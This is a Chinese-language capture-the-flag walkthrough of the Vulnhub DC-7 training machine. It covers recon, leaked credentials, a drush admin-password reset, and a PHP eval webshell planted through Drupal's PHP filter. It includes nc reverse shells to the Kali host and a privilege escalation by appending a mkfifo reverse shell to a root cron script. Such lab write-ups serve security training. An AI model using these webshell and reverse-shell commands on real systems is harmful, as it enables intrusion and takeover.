Vulnhub靶机渗透测试——DC-7
靶机DC-7下载地址:https://download.vulnhub.com/dc/DC-7.zip
环境:VMware 15虚拟机软件
DC-7靶机IP地址:192.168.220.154
Kali的IP地址:192.168.220.155
DC-6靶机与kali都以NAT模式连接到网络,查看kali的IP地址:192.168.220.155
ip addr
使用nmap工具扫描192.168.220.0网段的存活主机,发现靶机dc7的IP地址为192.168.220.154
nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP
使用nmap工具扫描靶机dc7开放的端口,发现已开放的端口有22(SSH)、80(HTTP)
nmap -A 192.168.220.154 -p- -oN nmap154.A
使用kali下的网站指纹工具whatweb查看靶机搭建的网站,发现是使用Drupal 8搭建的网站
whatweb http://192.168.220.154
浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力**和字典排除在外,需要另外的思路,发现在欢迎页面的左下角有一个“@DC7USER”,应该是接入点
http://192.168.220.154/
欢迎来到DC-7
DC-7引入了一些“新”概念,但是我会让您知道它们是什么。:-)
尽管这一挑战并不是技术性的全部,但是如果您需要诉诸于暴力**或字典攻击,那么您可能不会成功。
您将要做的就是在盒子外面思考。
方式在盒子外面。:-)
在百度搜索@DC7USER后,发现是一个Twitter用户,进入Twitter后搜索这个用户,进入这个用户首页,发现一个GitHub的链接
https://github.com/Dc7User/
点击GitHub的链接发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口
https://github.com/Dc7User/staffdb
打开kali,将源码下载到本地
git clone https://github.com/Dc7User/staffdb
分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码
cat config.php
dc7user/MdR3xOgB7#dW
使用SSH链接靶机,登录dc7user发现可以成功连接
ssh aaa@qq.com
发现一个backups文件夹和一个mbox文件
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
cd backups
打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下
cat mbox
进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
cd /opt/scripts
cat backups.sh
进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功
cd /var/www/html/
drush user-password admin --password="123456"
来到网站后台,使用admin/123456登录网站,成功登录
http://192.168.220.154/user/login
在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
Php介绍页面如下,模块包下载地址也附上
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击Install new module,将下载模块包的链接添加上,点击Install
Install后跳转到模块添加成功页面,然后去**这个模块
选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示
然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
GetShell
<?php
@eval($_REQUEST[666]);
?>
因为欢迎页面是网站的首页,所以直接使用中国蚁剑连接网站,成功连接getshell
http://192.168.220.154/
密码:666
在这里我习惯性的又再次反弹了一次shell到kali,当然在这里不反弹shell到kali下面也可以在蚁剑虚拟终端上做下面步骤
在kali监听4567端口,并反弹shell到kali,切换shell外壳
nc -e /bin/bash 192.168.220.155 4567
nc -lvvp 4567
python -c 'import pty;pty.spawn("/bin/bash")'
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
写入反弹shell代码到backups.sh脚本文件中,并在kali监听1234端口,等待计划任务执行,稍微等待后成功getshell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.220.155 1234 >/tmp/f" >> backups.sh
nc -lvvp 1234
得到root权限后,进入root家目录下,发现theflag.txt文件
cd /root
cat theflag.txt